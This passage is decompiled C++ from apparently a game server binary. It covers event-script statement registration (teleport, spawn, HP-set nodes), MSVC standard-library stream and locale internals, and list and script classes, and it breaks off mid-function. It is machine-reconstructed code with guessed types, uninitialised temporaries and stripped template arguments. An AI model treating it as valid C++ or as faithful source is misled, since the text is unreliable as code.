0x80 ) { v1->sl_Array[v205] = v204; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v206 = operator new(0xBCu); if ( v206 ) PineEventScriptNode::ShineInvidualReward::ShineInvidualReward((PineEventScriptNode::ShineInvidualReward *)v206); else v207 = 0; v208 = v1->sl_Point; if ( v208 < 0x80 ) { v1->sl_Array[v208] = v207; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v209 = operator new(0xBCu); if ( v209 ) PineEventScriptNode::ShineReturnValue::ShineReturnValue((PineEventScriptNode::ShineReturnValue *)v209); else v210 = 0; v211 = v1->sl_Point; if ( v211 < 0x80 ) { v1->sl_Array[v211] = v210; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v212 = operator new(0xBCu); if ( v212 ) PineEventScriptNode::ShineSubLayerShift::ShineSubLayerShift((PineEventScriptNode::ShineSubLayerShift *)v212); else v213 = 0; v214 = v1->sl_Point; if ( v214 < 0x80 ) { v1->sl_Array[v214] = v213; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v215 = operator new(0xBCu); if ( v215 ) PineEventScriptNode::ShineTeleport::ShineTeleport((PineEventScriptNode::ShineTeleport *)v215); else v216 = 0; v217 = v1->sl_Point; if ( v217 < 0x80 ) { v1->sl_Array[v217] = v216; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v218 = operator new(0xBCu); if ( v218 ) PineEventScriptNode::ShineItemOwner::ShineItemOwner((PineEventScriptNode::ShineItemOwner *)v218); else v219 = 0; v220 = v1->sl_Point; if ( v220 < 0x80 ) { v1->sl_Array[v220] = v219; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v221 = operator new(0xBCu); if ( v221 ) PineEventScriptNode::ShineMobAttribute::ShineMobAttribute((PineEventScriptNode::ShineMobAttribute *)v221); else v222 = 0; v223 = v1->sl_Point; if ( v223 < 0x80 ) { v1->sl_Array[v223] = v222; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v224 = operator new(0xBCu); if ( v224 ) PineEventScriptNode::ShineObjectCollect::ShineObjectCollect((PineEventScriptNode::ShineObjectCollect *)v224); else v225 = 0; v226 = v1->sl_Point; if ( v226 < 0x80 ) { v1->sl_Array[v226] = v225; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v227 = operator new(0xBCu); if ( v227 ) PineEventScriptNode::ShineEndOfKingdomQuest::ShineEndOfKingdomQuest((PineEventScriptNode::ShineEndOfKingdomQuest *)v227); else v228 = 0; v229 = v1->sl_Point; if ( v229 < 0x80 ) { v1->sl_Array[v229] = v228; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v230 = operator new(0xBCu); if ( v230 ) PineEventScriptNode::ShineEndOfGuildTournament::ShineEndOfGuildTournament((PineEventScriptNode::ShineEndOfGuildTournament *)v230); else v231 = 0; v232 = v1->sl_Point; if ( v232 < 0x80 ) { v1->sl_Array[v232] = v231; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v233 = operator new(0xBCu); if ( v233 ) PineEventScriptNode::ShineGuildTorunamentResult::ShineGuildTorunamentResult((PineEventScriptNode::ShineGuildTorunamentResult *)v233); else v234 = 0; v235 = v1->sl_Point; if ( v235 < 0x80 ) { v1->sl_Array[v235] = v234; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v236 = operator new(0xBCu); if ( v236 ) PineEventScriptNode::ShineCostumeCreate::ShineCostumeCreate((PineEventScriptNode::ShineCostumeCreate *)v236); else v237 = 0; v238 = v1->sl_Point; if ( v238 < 0x80 ) { v1->sl_Array[v238] = v237; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v239 = operator new(0xBCu); if ( v239 ) PineEventScriptNode::ShineCostumeTakeOff::ShineCostumeTakeOff((PineEventScriptNode::ShineCostumeTakeOff *)v239); else v240 = 0; v241 = v1->sl_Point; if ( v241 < 0x80 ) { v1->sl_Array[v241] = v240; ++v1->sl_Point; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } v242 = operator new(0xBCu); if ( v242 ) PineEventScriptNode::ShineWeddingComplete::ShineWeddingComplete((PineEventScriptNode::ShineWeddingComplete *)v242); else v243 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v243); v244 = operator new(0xBCu); if ( v244 ) PineEventScriptNode::ShinePlayerWalk::ShinePlayerWalk((PineEventScriptNode::ShinePlayerWalk *)v244); else v245 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v245); v246 = operator new(0xBCu); if ( v246 ) PineEventScriptNode::ShineFindPlayer::ShineFindPlayer((PineEventScriptNode::ShineFindPlayer *)v246); else v247 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v247); v248 = operator new(0xBCu); if ( v248 ) PineEventScriptNode::ShineTeleportAll::ShineTeleportAll((PineEventScriptNode::ShineTeleportAll *)v248); else v249 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v249); v250 = operator new(0xBCu); if ( v250 ) PineEventScriptNode::ShineBriefEffect::ShineBriefEffect((PineEventScriptNode::ShineBriefEffect *)v250); else v251 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v251); v252 = operator new(0xBCu); if ( v252 ) PineEventScriptNode::ShineBanFromArea::ShineBanFromArea((PineEventScriptNode::ShineBanFromArea *)v252); else v253 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v253); v254 = operator new(0xBCu); if ( v254 ) PineEventScriptNode::ShineRegesteFlag::ShineRegesteFlag((PineEventScriptNode::ShineRegesteFlag *)v254); else v255 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v255); v256 = operator new(0xBCu); if ( v256 ) PineEventScriptNode::ShineRegesteGate::ShineRegesteGate((PineEventScriptNode::ShineRegesteGate *)v256); else v257 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v257); v258 = operator new(0xBCu); if ( v258 ) PineEventScriptNode::ShineDiceGameStart::ShineDiceGameStart((PineEventScriptNode::ShineDiceGameStart *)v258); else v259 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v259); v260 = operator new(0xBCu); if ( v260 ) PineEventScriptNode::ShineRevival::ShineRevival((PineEventScriptNode::ShineRevival *)v260); else v261 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v261); v262 = operator new(0xBCu); if ( v262 ) PineEventScriptNode::ShineSpawn::ShineSpawn((PineEventScriptNode::ShineSpawn *)v262); else v263 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v263); v264 = operator new(0xBCu); if ( v264 ) PineEventScriptNode::ShineHPSet::ShineHPSet((PineEventScriptNode::ShineHPSet *)v264); else v265 = 0; PineEventScriptNode::StatementList::sl_AddStatement(v1, v265); } // 5BD73C: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 5BD7F4: using guessed type int (__stdcall *PineEventScriptNode__Identify___vftable_)(int tr); // 5BD814: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 5BD844: using guessed type int (__stdcall *PineEventScriptNode__StateBreak___vftable_)(int tr); // 5BD978: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); // 5BD998: using guessed type int (__stdcall *PineEventScriptNode__StateIf___vftable_)(int tr); // 5BD9AC: using guessed type int (__stdcall *PineEventScriptNode__StateCall___vftable_)(int tr); // 5BDA98: using guessed type int (__stdcall *PineEventScriptNode__StatePrint___vftable_)(int tr); // 5BDB60: using guessed type int (__stdcall *PineEventScriptNode__StatePermillage___vftable_)(int tr); // 5BDB74: using guessed type int (__stdcall *PineEventScriptNode__StateAssignment___vftable_)(int tr); //----- (004A5DB0) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ScriptParameterPaser::_vector_deleting_destructor_(PineEventScriptNode::ScriptParameterPaser *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004A5DD0) -------------------------------------------------------- void __thiscall std::basic_iostream>::basic_iostream>(std::basic_iostream > *this, std::basic_streambuf > *_Strbuf) { std::basic_iostream > *v2; // edi@1 char *v3; // esi@3 int v4; // [sp+1Ch] [bp+8h]@0 v2 = this; if ( v4 ) { *(_DWORD *)&this->___u0.baseclass_0.gap0[0] = &std::basic_iostream>::_vbtable_; *(_DWORD *)&this->___u0.baseclass_0.gap8[0] = &std::basic_iostream>::_vbtable_; *(_DWORD *)&this->___u0.baseclass_0.gap8[4] = &std::basic_ios>::_vftable_; } *(_DWORD *)&this->___u0.baseclass_0.gap0[*(_DWORD *)(*(_DWORD *)&this->___u0.baseclass_0.gap0[0] + 4)] = std::basic_istream>::_vftable_; this->___u0.baseclass_0._Chcount = 0; *(_DWORD *)&this->___u0.baseclass_0.gap8[*(_DWORD *)(*(_DWORD *)&this->___u0.baseclass_0.gap8[0] + 4)] = &std::basic_ostream>::_vftable_; v3 = &this->___u0.baseclass_0.gap8[*(_DWORD *)(*(_DWORD *)&this->___u0.baseclass_0.gap8[0] + 4)]; std::ios_base::_Init((std::ios_base *)&this->___u0.baseclass_0.gap8[*(_DWORD *)(*(_DWORD *)&this->___u0.baseclass_0.gap8[0] + 4)]); *((_DWORD *)v3 + 10) = _Strbuf; *((_DWORD *)v3 + 11) = 0; v3[48] = std::basic_ios>::widen((std::basic_ios > *)v3, 32); if ( !*((_DWORD *)v3 + 10) ) std::ios_base::clear((std::ios_base *)v3, *((_DWORD *)v3 + 2) | 4, 0); *((_DWORD *)v3 + 1) = 0; *(_DWORD *)&v2->___u0.baseclass_0.gap0[*(_DWORD *)(*(_DWORD *)&v2->___u0.baseclass_0.gap0[0] + 4)] = &std::basic_iostream>::_vftable_; } // 5BD8F8: using guessed type int (__stdcall *std__basic_ostream_char_std__char_traits_char_____vftable_)(char); // 5BD8FC: using guessed type int (__thiscall *std__basic_ios_char_std__char_traits_char_____vftable_)(void *p, char); // 5BD900: using guessed type int (__stdcall *std__basic_istream_char_std__char_traits_char_____vftable_[2])(char); // 5BD904: using guessed type int (__stdcall *std__basic_iostream_char_std__char_traits_char_____vftable_)(char); //----- (004A5EB0) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, bool _Val) { int v6; // edx@1 std::locale *v7; // eax@3 std::numpunct *v8; // eax@3 int v9; // esi@3 std::numpunct *v10; // edi@3 unsigned int v11; // eax@4 int v12; // esi@7 std::basic_string,std::allocator > *v13; // eax@10 std::basic_string,std::allocator > *v14; // eax@12 std::ios_base *v15; // ebx@15 int v16; // eax@15 unsigned int v17; // edx@15 unsigned int v18; // esi@17 int v19; // ecx@19 std::basic_streambuf > *v20; // eax@19 char *v21; // edi@24 unsigned int v22; // ebx@27 std::ostreambuf_iterator > v23; // ST08_8@30 std::num_put > > *v24; // ST00_4@30 std::ostreambuf_iterator > *v25; // eax@32 void *v26; // [sp-Ch] [bp-74h]@11 std::_Lockit thisa; // [sp+4h] [bp-64h]@4 std::basic_streambuf > *v28; // [sp+8h] [bp-60h]@20 unsigned __int64 v29; // [sp+Ch] [bp-5Ch]@26 std::num_put > > *v30; // [sp+14h] [bp-54h]@1 int v31; // [sp+18h] [bp-50h]@3 char v32; // [sp+1Ch] [bp-4Ch]@10 void *p; // [sp+20h] [bp-48h]@11 unsigned int v34; // [sp+34h] [bp-34h]@10 std::basic_string,std::allocator > _Str; // [sp+38h] [bp-30h]@9 unsigned int cookie; // [sp+54h] [bp-14h]@32 int v37; // [sp+64h] [bp-4h]@3 v6 = _Iosbase->_Fmtfl; v30 = this; if ( !(BYTE1(v6) & 0x40) ) { ((void (__stdcall *)(std::ostreambuf_iterator > *, _DWORD, std::basic_streambuf > *, std::ios_base *, _DWORD, _DWORD))this->baseclass_0.vfptr[7].__vecDelDtor)( result, *(_DWORD *)&_Dest, _Dest._Strbuf, _Iosbase, _Fill, _Val); goto LABEL_32; } v7 = std::ios_base::getloc(_Iosbase, (std::locale *)&v31); v37 = 0; v8 = std::use_facet>(v7); v9 = v31; v10 = v8; v37 = -1; if ( v31 ) { std::_Lockit::_Lockit(&thisa, 0); v11 = *(_DWORD *)(v9 + 4); if ( v11 && v11 < 0xFFFFFFFF ) *(_DWORD *)(v9 + 4) = v11 - 1; v12 = ((*(_DWORD *)(v9 + 4) != 0) - 1) & v9; std::_Lockit::__Lockit(&thisa); if ( v12 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v12)(v12, 1); } _Str._Myres = 15; _Str._Mysize = 0; _Str._Bx._Buf[0] = 0; v37 = 1; if ( _Val ) { v13 = std::numpunct::truename( v10, (std::basic_string,std::allocator > *)&v32); LOBYTE(v37) = 2; std::basic_string_std::allocator>::assign(&_Str, v13, 0, 0xFFFFFFFFu); LOBYTE(v37) = 1; if ( v34 < 0x10 ) goto LABEL_15; v26 = p; } else { v14 = std::numpunct::falsename( v10, (std::basic_string,std::allocator > *)&v32); LOBYTE(v37) = 3; std::basic_string_std::allocator>::assign(&_Str, v14, 0, 0xFFFFFFFFu); LOBYTE(v37) = 1; if ( v34 < 0x10 ) goto LABEL_15; v26 = p; } operator delete(v26); LABEL_15: v15 = _Iosbase; v16 = _Iosbase->_Wide; v17 = _Str._Mysize; if ( v16 <= 0 || v16 <= _Str._Mysize ) v18 = 0; else v18 = v16 - _Str._Mysize; v19 = *(_DWORD *)&_Dest; v20 = _Dest._Strbuf; if ( (_Iosbase->_Fmtfl & 0x1C0) != 64 ) { thisa._Locktype = *(_DWORD *)&_Dest; v28 = _Dest._Strbuf; if ( v18 ) { do { std::ostreambuf_iterator>::operator_( (std::ostreambuf_iterator > *)&thisa, _Fill); --v18; } while ( v18 ); v17 = _Str._Mysize; } v19 = thisa._Locktype; v20 = v28; v18 = 0; } v21 = *(char **)&_Str._Bx._Buf[0]; if ( _Str._Myres < 0x10 ) v21 = (char *)&_Str._Bx; v29 = __PAIR__((unsigned int)v20, v19); if ( v17 ) { v22 = v17; do { std::ostreambuf_iterator>::operator_( (std::ostreambuf_iterator > *)&v29, *v21++); --v22; } while ( v22 ); v15 = _Iosbase; } v23 = (std::ostreambuf_iterator >)v29; v24 = v30; v15->_Wide = 0; std::num_put>>::_Rep(v24, result, v23, _Fill, v18); if ( _Str._Myres >= 0x10 ) operator delete(*(void **)&_Str._Bx._Buf[0]); LABEL_32: __security_check_cookie(cookie); return v25; } //----- (004A6100) -------------------------------------------------------- std::ostreambuf_iterator > *__thiscall std::ostreambuf_iterator>::operator_(std::ostreambuf_iterator > *this, char _Right) { std::ostreambuf_iterator > *v2; // esi@1 std::basic_streambuf > *v3; // ecx@1 char **v4; // eax@2 char **v5; // ecx@4 char *v6; // eax@4 int v7; // eax@4 v2 = this; v3 = this->_Strbuf; if ( !v3 || ((v4 = v3->_IPnext, !*v4) || *v4 >= &(*v4)[*v3->_IPcount] ? (v7 = ((int (__stdcall *)(_DWORD))v3->vfptr->overflow)((unsigned __int8)_Right)) : (--*v3->_IPcount, v5 = v3->_IPnext, v6 = *v5, ++*v5, *v6 = _Right, v7 = (unsigned __int8)_Right), v7 == -1) ) v2->___u0.baseclass_0.baseclass_0.dummy[0] = 1; return v2; } //----- (004A6160) -------------------------------------------------------- std::ostreambuf_iterator > *__cdecl std::num_put>>::_Rep(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, char _Ch, unsigned int _Count) { unsigned int v5; // edi@2 char **v6; // eax@4 int *v7; // edx@5 char **v8; // eax@6 char *v9; // ecx@6 int v10; // eax@6 std::ostreambuf_iterator > *v11; // eax@11 if ( _Count ) { v5 = _Count; do { if ( !_Dest._Strbuf || ((v6 = _Dest._Strbuf->_IPnext, !*v6) || (v7 = _Dest._Strbuf->_IPcount, *v6 >= &(*v6)[*v7]) ? (v10 = _Dest._Strbuf->vfptr->overflow(_Dest._Strbuf, (unsigned __int8)_Ch)) : (--*v7, v8 = _Dest._Strbuf->_IPnext, v9 = *v8, ++*v8, *v9 = _Ch, v10 = (unsigned __int8)_Ch), v10 == -1) ) _Dest.___u0.baseclass_0.baseclass_0.dummy[0] = 1; --v5; } while ( v5 ); } v11 = result; result->_Strbuf = _Dest._Strbuf; *(_DWORD *)&result->___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&_Dest; return v11; } //----- (004A61D0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::numpunct::falsename(std::numpunct *this, std::basic_string,std::allocator > *result) { ((void (__stdcall *)(_DWORD))this->baseclass_0.vfptr[4].__vecDelDtor)(result); return result; } //----- (004A61F0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::numpunct::truename(std::numpunct *this, std::basic_string,std::allocator > *result) { ((void (__stdcall *)(_DWORD))this->baseclass_0.vfptr[5].__vecDelDtor)(result); return result; } //----- (004A6210) -------------------------------------------------------- std::numpunct *__cdecl std::use_facet>(std::locale *_Loc) { void *v1; // esi@5 int v2; // edi@10 unsigned int v3; // eax@10 int _Psave; // [sp+0h] [bp-24h]@1 std::_Lockit this; // [sp+4h] [bp-20h]@2 std::_Lockit _Lock; // [sp+8h] [bp-1Ch]@1 char pExceptionObject; // [sp+Ch] [bp-18h]@8 int v9; // [sp+20h] [bp-4h]@1 std::_Lockit::_Lockit(&_Lock, 0); _Psave = std::_Facetptr>::_Psave; v9 = 0; if ( !std::numpunct::id ) { std::_Lockit::_Lockit(&this, 0); if ( !std::numpunct::id ) { ++std::locale::id::_Id_cnt; std::numpunct::id = std::locale::id::_Id_cnt; } std::_Lockit::__Lockit(&this); } v1 = std::locale::_Getfacet(_Loc, std::numpunct::id); if ( !v1 ) { v1 = (void *)_Psave; if ( !_Psave ) { if ( std::numpunct::_Getcat((std::locale::facet **)&_Psave) == -1 ) { bad_cast::bad_cast((bad_cast *)&pExceptionObject, "bad cast"); _CxxThrowException(&pExceptionObject, &_TI2_AVbad_cast__); } v1 = (void *)_Psave; std::_Facetptr>::_Psave = _Psave; v2 = _Psave; std::_Lockit::_Lockit(&this, 0); v3 = *(_DWORD *)(v2 + 4); if ( v3 < 0xFFFFFFFF ) *(_DWORD *)(v2 + 4) = v3 + 1; std::_Lockit::__Lockit(&this); std::locale::facet::_Register((std::locale::facet *)v2); } } v9 = -1; std::_Lockit::__Lockit(&_Lock); return (std::numpunct *)v1; } // 124A4B28: using guessed type int std___Facetptr_std__numpunct_char_____Psave; // 146CFFE0: using guessed type int std__locale__id___Id_cnt; //----- (004A6320) -------------------------------------------------------- unsigned int __cdecl std::numpunct::_Getcat(std::locale::facet **_Ppf) { void *v1; // eax@3 std::numpunct *v2; // esi@3 std::_Locinfo *v3; // eax@4 std::_Locinfo this; // [sp+4h] [bp-80h]@4 int v6; // [sp+80h] [bp-4h]@3 if ( _Ppf && !*_Ppf ) { v1 = operator new(0x18u); v2 = (std::numpunct *)v1; v6 = 0; if ( v1 ) { *((_DWORD *)v1 + 1) = 0; LOBYTE(v6) = 1; *(_DWORD *)v1 = &std::numpunct::_vftable_; std::_Locinfo::_Locinfo(&this, "C"); LOBYTE(v6) = 2; std::numpunct::_Init(v2, v3); LOBYTE(v6) = 1; std::_Locinfo::__Locinfo(&this); } else { v2 = 0; } *_Ppf = (std::locale::facet *)v2; } return 4; } // 5BDDB0: using guessed type int (__thiscall *std__numpunct_char____vftable_)(void *p, char); //----- (004A63D0) -------------------------------------------------------- char __thiscall std::numpunct::do_decimal_point(std::numpunct *this) { return this->_Dp; } //----- (004A63E0) -------------------------------------------------------- char __thiscall std::numpunct::do_thousands_sep(std::numpunct *this) { return this->_Kseparator; } //----- (004A63F0) -------------------------------------------------------- void *__thiscall std::numpunct::_scalar_deleting_destructor_(std::numpunct *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::numpunct::_numpunct(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004A6410) -------------------------------------------------------- void __thiscall std::numpunct::_numpunct(std::numpunct *this) { std::numpunct *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (std::locale::facetVtbl *)&std::numpunct::_vftable_; std::numpunct::_Tidy(this); v1->baseclass_0.vfptr = (std::locale::facetVtbl *)&std::locale::facet::_vftable_; } // 5BDDB0: using guessed type int (__thiscall *std__numpunct_char____vftable_)(void *p, char); // 5E873C: using guessed type int (__thiscall *std__locale__facet___vftable_)(void *p, char); //----- (004A6460) -------------------------------------------------------- void __thiscall std::numpunct::_Tidy(std::numpunct *this) { std::numpunct *v1; // esi@1 v1 = this; operator delete__((void *)this->_Grouping); operator delete__((void *)v1->_Falsename); operator delete__((void *)v1->_Truename); } //----- (004A6490) -------------------------------------------------------- void __thiscall std::numpunct::_Init(std::numpunct *this, std::_Locinfo *_Lobj) { std::numpunct *v2; // esi@1 lconv *v3; // edi@1 _Cvtvec v4; // qax@1 const char *v5; // ecx@1 int v6; // [sp-Ch] [bp-30h]@1 _Cvtvec v7; // [sp+0h] [bp-24h]@1 _Cvtvec __formal; // [sp+8h] [bp-1Ch]@1 std::numpunct *thisa; // [sp+10h] [bp-14h]@1 int *v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+20h] [bp-4h]@1 v2 = this; v10 = &v6; thisa = this; v3 = localeconv(); v2->_Grouping = 0; v2->_Falsename = 0; v2->_Truename = 0; v11 = 0; v4 = _Getcvt(); v5 = v3->grouping; __formal = v4; v2->_Grouping = std::_Maklocstr(v5, 0, &__formal); __formal = _Getcvt(); v2->_Falsename = std::_Maklocstr("false", 0, &__formal); v7 = _Getcvt(); v2->_Truename = std::_Maklocstr("true", 0, &v7); _Getcvt(); v2->_Dp = *v3->decimal_point; _Getcvt(); v2->_Kseparator = *v3->thousands_sep; } //----- (004A6570) -------------------------------------------------------- char *__cdecl std::_Maklocstr(const char *_Ptr, char *__formal, _Cvtvec *a3) { const char *v3; // edi@1 unsigned int v4; // kr00_4@1 int v5; // esi@1 char *result; // eax@1 char *v7; // ecx@1 v3 = _Ptr; v4 = strlen(_Ptr); v5 = v4 + 1; result = (char *)operator new__(v4 + 1); v7 = result; if ( v4 != -1 ) { do { *v7++ = *v3++; --v5; } while ( v5 ); } return result; } //----- (004A65B0) -------------------------------------------------------- void __thiscall ListArray::ListArray(ListArray *this, int size) { int v2; // ebx@1 ListArray *v3; // edi@1 void *v4; // eax@3 v2 = 0; v3 = this; if ( size > 0 ) { this->la_Size = size; v4 = operator new__(280 * size + 4); if ( v4 ) { v2 = (int)((char *)v4 + 4); *(_DWORD *)v4 = size; _eh_vector_constructor_iterator_( (char *)v4 + 4, 0x118u, size, (void (__thiscall *)(void *))PineEventScriptNode::Block::Block, (void (__thiscall *)(void *))PineEventScriptNode::Block::_Block); } } else { this->la_Size = 65535; } v3->la_Array = (PineEventScriptNode::Block *)v2; } //----- (004A6640) -------------------------------------------------------- char __thiscall List::l_Enlargement(List *this, int extsize) { List *v2; // ebp@1 ListArray *v4; // eax@3 int v5; // edi@3 int v6; // ebx@5 void *v7; // eax@5 void *v8; // esi@6 void *v9; // eax@9 int v10; // esi@13 void *v11; // ecx@17 void *v12; // edx@17 int v13; // esi@17 int v14; // ecx@19 int v15; // edx@20 int v16; // eax@22 int v17; // edx@22 void *v18; // ST10_4@22 void **v19; // eax@22 void *v20; // eax@22 void *v21; // esi@23 ListArray *v22; // edx@24 void *newarray; // [sp+0h] [bp-14h]@9 void *extsizea; // [sp+18h] [bp+4h]@6 v2 = this; if ( this->l_Finger.empty != -1 ) return 0; v4 = this->l_ListArray; v5 = 0; if ( !v4 ) return 0; v6 = extsize + v4->la_Size; v7 = operator new__(280 * (extsize + v4->la_Size) + 4); if ( v7 ) { v8 = (char *)v7 + 4; *(_DWORD *)v7 = v6; _eh_vector_constructor_iterator_( (char *)v7 + 4, 0x118u, v6, (void (__thiscall *)(void *))PineEventScriptNode::Block::Block, (void (__thiscall *)(void *))PineEventScriptNode::Block::_Block); extsizea = v8; } else { extsizea = 0; v8 = 0; } if ( !v8 ) return 0; v9 = operator new__(12 * v6 + 12); newarray = v9; if ( !v9 ) { _eh_vector_destructor_iterator_( v8, 0x118u, *((_DWORD *)v8 - 1), (void (__thiscall *)(void *))PineEventScriptNode::Block::_Block); operator delete__((char *)v8 - 4); return 0; } if ( v2->l_ListArray->la_Size > 0 ) { v10 = 0; do { PineEventScriptNode::Block::l_Clone( (PineEventScriptNode::Block *)((char *)extsizea + v10 * 280), &v2->l_ListArray->la_Array[v10]); ++v5; ++v10; } while ( v5 < v2->l_ListArray->la_Size ); v9 = newarray; } memcpy(v9, v2->l_Array, 12 * v2->l_ListArray->la_Size); *((_WORD *)v9 + 6 * v2->l_Array[v2->l_Finger.store].ls_Next + 3) = v6; *((_WORD *)v9 + 6 * v2->l_Array[v2->l_Finger.store].ls_Prev + 2) = v6; if ( v6 > 0 ) { v11 = extsizea; v12 = v9; v13 = v6; do { *(_DWORD *)v12 = v11; v11 = (char *)v11 + 280; v12 = (char *)v12 + 12; --v13; } while ( v13 ); } v14 = v2->l_MaxSize; if ( v14 < v6 ) { v15 = (int)((char *)v9 + 12 * v14 + 4); do { *(_WORD *)v15 = v14 + 1; *(_BYTE *)(v15 + 4) = 0; *(_WORD *)(v15 + 2) = v14++ - 1; v15 += 12; } while ( v14 < v6 ); } *((_WORD *)v9 + 6 * v2->l_MaxSize + 3) = v6 - 1; v16 = (int)((char *)v9 + 12 * v6); *(_WORD *)(v16 - 8) = v2->l_MaxSize; v17 = (int)&v2->l_Array[v2->l_MaxSize]; *(_DWORD *)v16 = *(_DWORD *)v17; *(_DWORD *)(v16 + 4) = *(_DWORD *)(v17 + 4); *(_DWORD *)(v16 + 8) = *(_DWORD *)(v17 + 8); v18 = v2->l_Array; v2->l_Finger.empty = v2->l_MaxSize; operator delete__(v18); v19 = (void **)v2->l_ListArray; v2->l_Array = (ListStruct *)newarray; v20 = *v19; if ( v20 ) { v21 = (char *)v20 - 4; _eh_vector_destructor_iterator_( v20, 0x118u, *((_DWORD *)v20 - 1), (void (__thiscall *)(void *))PineEventScriptNode::Block::_Block); operator delete__(v21); } v2->l_ListArray->la_Array = (PineEventScriptNode::Block *)extsizea; v22 = v2->l_ListArray; v2->l_MaxSize = v6; v22->la_Size = (unsigned __int16)v6; v2->l_Finger.store = LOWORD(v2->l_ListArray->la_Size); return 1; } //----- (004A68D0) -------------------------------------------------------- void __thiscall PineEventScriptNode::Script::Script(PineEventScriptNode::Script *this) { PineEventScriptNode::Script *v1; // esi@1 void *v2; // eax@1 ListArray *v3; // eax@2 void *v4; // eax@4 List *v5; // eax@5 v1 = this; this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Script::_vftable_; v2 = operator new(8u); if ( v2 ) ListArray::ListArray( (ListArray *)v2, 4); else v3 = 0; v1->s_BlockArray = v3; v4 = operator new(0x18u); if ( v4 ) { List::List( (List *)v4, v1->s_BlockArray); v1->s_BlockList = v5; } else { v1->s_BlockList = 0; } } // 5BDDD8: using guessed type int (__stdcall *PineEventScriptNode__Script___vftable_)(int tr); //----- (004A6980) -------------------------------------------------------- void __thiscall PineEventScriptNode::Script::_Script(PineEventScriptNode::Script *this) { PineEventScriptNode::Script *v1; // edi@1 ListArray *v2; // esi@1 void *v3; // eax@2 void *v4; // ebx@3 List *v5; // esi@5 void *v6; // eax@6 v1 = this; this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Script::_vftable_; v2 = this->s_BlockArray; if ( v2 ) { v3 = v2->la_Array; if ( v2->la_Array ) { v4 = (char *)v3 - 4; _eh_vector_destructor_iterator_( v3, 0x118u, *((_DWORD *)v3 - 1), (void (__thiscall *)(void *))PineEventScriptNode::Block::_Block); operator delete__(v4); } operator delete(v2); } v5 = v1->s_BlockList; if ( v5 ) { v6 = v5->l_Array; v5->vfptr = (ListVtbl *)List::_vftable_; if ( v6 ) operator delete__(v6); operator delete(v5); } v1->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 5BD72C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 5BD924: using guessed type int (__stdcall *List_PineEventScriptNode__Block____vftable_[3])(__int16 hnd); // 5BDDD8: using guessed type int (__stdcall *PineEventScriptNode__Script___vftable_)(int tr); //----- (004A6A30) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Script::sa_Load(PineEventScriptNode::Script *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::Script *v2; // ebp@1 int v3; // edi@3 PineScriptToken *v4; // esi@3 signed int v5; // ecx@3 bool v6; // zf@3 List *v7; // ecx@7 int v8; // eax@7 int v9; // eax@8 List *v10; // ecx@9 int v11; // eax@9 PineScriptToken tkn; // [sp+10h] [bp-104h]@2 v2 = this; while ( 1 ) { tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) break; v3 = (int)"open"; v4 = &tkn; v5 = 5; v6 = 1; do { if ( !v5 ) break; v6 = v4->pst_Buffer[0] == *(_BYTE *)v3; v4 = (PineScriptToken *)((char *)v4 + 1); ++v3; --v5; } while ( v6 ); if ( !v6 || ((memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)), v7 = v2->s_BlockList, v8 = 